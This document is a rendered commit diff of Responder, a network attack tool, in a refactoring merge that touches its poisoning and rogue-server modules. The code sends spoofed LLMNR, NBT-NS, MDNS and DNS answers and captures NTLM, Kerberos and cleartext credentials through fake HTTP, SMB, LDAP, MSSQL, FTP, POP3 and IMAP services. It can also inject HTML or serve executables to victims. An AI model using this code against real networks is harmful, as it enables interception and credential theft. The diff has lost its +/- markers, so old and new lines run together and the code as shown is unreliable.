Merge pull request #92 from jvoisin/master

Refactor a bit the whole codebase to be more pythonic
This commit is contained in:
lgandx 2016-07-07 21:28:33 -05:00 committed by GitHub
commit 59337ab87d
25 changed files with 315 additions and 707 deletions

View file

@ -14,14 +14,10 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import optparse
import socket
import time
import settings
import ssl
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
from threading import Thread
from utils import *
@ -45,8 +41,7 @@ options, args = parser.parse_args()
if not os.geteuid() == 0:
print color("[!] Responder must be run as root.")
sys.exit(-1)
if options.OURIP is None and IsOsX() is True:
elif options.OURIP is None and IsOsX() is True:
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
parser.print_help()
exit(-1)

View file

@ -14,15 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import sys
import socket
import struct
import string
import logging
from utils import color
from odict import OrderedDict
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
@ -31,7 +27,6 @@ def OsNameClientVersion(data):
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"

View file

@ -14,28 +14,18 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
import fingerprint
from packets import LLMNR_Ans
from odict import OrderedDict
from SocketServer import BaseRequestHandler
from utils import *
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
return data[13:13+NameLen]
def IsOnTheSameSubnet(ip, net):
net += '/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
elif ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNR(BaseRequestHandler):
class LLMNR(BaseRequestHandler): # LLMNR Server class
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler):
return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None:

View file

@ -15,8 +15,6 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
import socket
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
@ -33,15 +31,14 @@ def Parse_MDNS_Name(data):
except IndexError:
return None
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
return data[:len(data)-5]
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
@ -52,14 +49,10 @@ class MDNS(BaseRequestHandler):
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
try:
# Analyze Mode
if settings.Config.AnalyzeMode:
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
# Poisoning Mode
else:
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
@ -68,6 +61,3 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
except Exception:
raise

View file

@ -14,8 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint
from packets import NBT_Ans
@ -26,19 +25,14 @@ from utils import *
def Validate_NBT_NS(data):
if settings.Config.AnalyzeMode:
return False
if NBT_NS_Role(data[43:46]) == "File Server":
elif NBT_NS_Role(data[43:46]) == "File Server":
return True
if settings.Config.NBTNSDomain:
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True
if settings.Config.Wredirect:
elif settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True
else:
return False
# NBT_NS Server class.
@ -54,19 +48,14 @@ class NBTNS(BaseRequestHandler):
return None
if data[2:4] == "\x01\x10":
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
else: # Poisoning Mode
Buffer = NBT_Ans()
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)

View file

@ -14,16 +14,14 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import settings
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from utils import *
import struct
def WorkstationFingerPrint(data):
Role = {
return {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
@ -35,12 +33,11 @@ def WorkstationFingerPrint(data):
"\x06\x02" :"Windows 8/Server 2012",
"\x06\x03" :"Windows 8.1/Server 2012R2",
"\x10\x00" :"Windows 10/Server 2016",
}
}.get(data, 'Unknown')
return Role[data] if data in Role else "Unknown"
def RequestType(data):
Type = {
return {
"\x01": 'Host Announcement',
"\x02": 'Request Announcement',
"\x08": 'Browser Election',
@ -51,30 +48,23 @@ def RequestType(data):
"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement',
}
}.get(data, 'Unknown')
return Type[data] if data in Type else "Unknown"
def PrintServerName(data, entries):
if entries > 0:
entrieslen = 26*entries
if entries <= 0:
return None
entrieslen = 26 * entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
l = []
for x in ServerName:
FP = WorkstationFingerPrint(x[16:18])
Name = x[:16].replace('\x00', '')
if FP:
l.append(Name + ' (%s)' % FP)
else:
l.append(Name)
fingerprint = WorkstationFingerPrint(x[16:18])
name = x[:16].replace('\x00', '')
l.append('%s (%s)' % (name, fingerprint))
return l
return None
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
@ -83,10 +73,9 @@ def ParsePacket(Payload):
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
else:
return None
def RAPThisDomain(Client,Domain):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
@ -100,6 +89,7 @@ def RAPThisDomain(Client,Domain):
if WKST is not None:
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
def RapFinger(Host, Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -201,7 +191,6 @@ class Browser(BaseRequestHandler):
if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:

View file

@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import *
@ -24,13 +22,12 @@ def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
return QueryTypeClass == "\x00\x01\x00\x01"
# DNS Server class
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
buff = DNS_Ans()
buff.calculate(data)
self.request.send(str(buff))

View file

@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
@ -47,7 +45,7 @@ class FTP(BaseRequestHandler):
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+':'+Pass
'fullhash': User + ':' + Pass
})
else:

View file

@ -14,12 +14,10 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode
import struct
from utils import *
from packets import NTLM_Challenge
@ -72,58 +70,52 @@ def ParseHTTPHash(data, client):
'type': 'NTLMv2',
'client': client,
'host': HostName,
'user': Domain+'\\'+User,
'hash': NTHash[:32]+":"+NTHash[32:],
'user': Domain + '\\' + User,
'hash': NTHash[:32] + ":" + NTHash[32:],
'fullhash': WriteHash,
})
def GrabCookie(data, host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie)
return Cookie
else:
return False
def GrabHost(data, host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3))
return Host
else:
return False
def GrabReferer(data, host):
Referer = re.search('(Referer:*.\=*)[^\r\n]*', data)
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
if Referer:
Referer = Referer.group(0).replace('Referer: ', '')
if settings.Config.Verbose:
print text("[HTTP] Referer : %s " % color(Referer, 3))
return Referer
else:
return False
def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
else:
return False
def ServeFile(Filename):
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
return bk.read()
def RespondWithFile(client, filename, dlname=None):
@ -138,9 +130,9 @@ def RespondWithFile(client, filename, dlname=None):
return str(Buffer)
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
GET = re.findall(r'(?<=GET )[^HTTP]*', data)
POST = re.findall(r'(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
@ -152,11 +144,11 @@ def GrabURL(data, host):
# Handle HTTP packet sequence.
def PacketSequence(data, client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\\r]*', data)
# Serve the .exe if needed
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the custom HTML if needed
@ -189,7 +181,6 @@ def PacketSequence(data, client):
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
@ -215,28 +206,23 @@ def PacketSequence(data, client):
if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return str(Buffer)
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client)
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response)
# HTTP Server class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:

View file

@ -14,8 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import urlparse
import select
import zlib
@ -43,24 +41,20 @@ def InjectData(data, client, req_uri):
return data
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if [s for s in RedirectCodes if s in Headers]:
if set(RedirectCodes) & set(Headers):
return data
if "content-encoding: gzip" in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
if "content-type: text/html" in Headers.lower():
# Serve the custom HTML if needed
if settings.Config.Serve_Html:
if settings.Config.Serve_Html: # Serve the custom HTML if needed
return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(<body[^>]*>)', Content)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content)
if HasBody and len(settings.Config.HtmlToInject) > 2:
if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
@ -71,11 +65,9 @@ def InjectData(data, client, req_uri):
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
data = Headers +'\r\n\r\n'+ Content
else:
if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response")
return data
class ProxySock:
@ -96,19 +88,17 @@ class ProxySock:
def connect(self, address) :
# Store the real remote adress
(self.host, self.port) = address
self.host, self.port = address
# Try to connect to the proxy
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
self.proxy_host,
self.proxy_port,
0, 0, socket.SOL_TCP) :
0, 0, socket.SOL_TCP):
try:
# Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr)
except socket.error, msg:
if self.socket:
self.socket.close()
@ -116,7 +106,7 @@ class ProxySock:
continue
break
if not self.socket :
raise socket.error, ms
raise socket.error, msg
# Ask him to create a tunnel connection to the target host/port
self.socket.send(

View file

@ -14,16 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
# IMAP4 Server class
class IMAP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(IMAPGreeting()))
@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024)
except Exception:
pass

View file

@ -14,12 +14,9 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from utils import *
import struct
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
@ -50,8 +47,7 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
elif HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
@ -60,7 +56,6 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
@ -70,7 +65,6 @@ def ParseMSKerbv5TCP(Data):
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
@ -80,7 +74,6 @@ def ParseMSKerbv5UDP(Data):
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
@ -90,8 +83,7 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
elif HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
@ -100,8 +92,6 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
@ -111,18 +101,15 @@ def ParseMSKerbv5UDP(Data):
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
@ -133,13 +120,9 @@ class KerbTCP(BaseRequestHandler):
'fullhash': KerbHash,
})
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
@ -154,6 +137,3 @@ class KerbUDP(BaseRequestHandler):
'hash': h,
'fullhash': KerbHash,
})
except Exception:
raise

View file

@ -14,24 +14,17 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import *
import struct
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
if re.search(r'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2:
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3:
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client):
@ -54,7 +47,7 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
SaveToDb({
'module': 'LDAP',
@ -69,20 +62,15 @@ def ParseLDAPHash(data, client):
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall.calculate()
return str(NTLMChall)
if Search2:
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10]
@ -91,7 +79,6 @@ def ParseLDAPPacket(data, client):
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@ -99,7 +86,6 @@ def ParseLDAPPacket(data, client):
if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
@ -116,12 +102,9 @@ def ParseLDAPPacket(data, client):
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
else:
if settings.Config.Verbose:
elif settings.Config.Verbose:
print text('[LDAP] Operation not supported')
# LDAP Server class
class LDAP(BaseRequestHandler):
def handle(self):
try:
@ -132,6 +115,5 @@ class LDAP(BaseRequestHandler):
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass

View file

@ -14,13 +14,10 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import struct
class TDS_Login_Packet:
def __init__(self, data):
@ -54,6 +51,7 @@ class TDS_Login_Packet:
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
SSPIStart = data[8:]
@ -97,17 +95,17 @@ def ParseSQLHash(data, client):
'fullhash': WriteHash,
})
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
Pw = ''
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
return Pw
def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data)
SaveToDb({
'module': 'MSSQL',
'type': 'Cleartext',
@ -120,7 +118,6 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
@ -130,28 +127,24 @@ class MSSQL(BaseRequestHandler):
data = self.request.recv(1024)
self.request.settimeout(0.1)
# Pre-Login Message
if data[0] == "\x12":
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
# NegoSSP
if data[0] == "\x10":
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
# NegoSSP Auth
if data[0] == "\x11":
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0])
except socket.timeout:
pass
self.request.close()

View file

@ -14,22 +14,16 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import POPOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
def SendPacketAndRead(self):
Packet = POPOKPacket()
self.request.send(str(Packet))
data = self.request.recv(1024)
return data
return self.request.recv(1024)
def handle(self):
try:
@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
data = self.SendPacketAndRead()
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
data = self.SendPacketAndRead()
else:
data = self.SendPacketAndRead()
self.SendPacketAndRead()
except Exception:
pass

View file

@ -14,84 +14,50 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from SocketServer import BaseRequestHandler
from utils import *
import struct
# Detect if SMB auth was Anonymous
def Is_Anonymous(data):
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
if SecBlobLen > 260:
return LMhashLen in [0, 1]
elif SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
return LMhashLen in [0, 1]
def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
return LMhashLen in [0, 1]
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
for i in range(0, 16):
if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00'
if Dialect[0] == "NT LM 0.12":
return "\x00\x00"
if Dialect[1] == "NT LM 0.12":
return "\x01\x00"
if Dialect[2] == "NT LM 0.12":
return "\x02\x00"
if Dialect[3] == "NT LM 0.12":
return "\x03\x00"
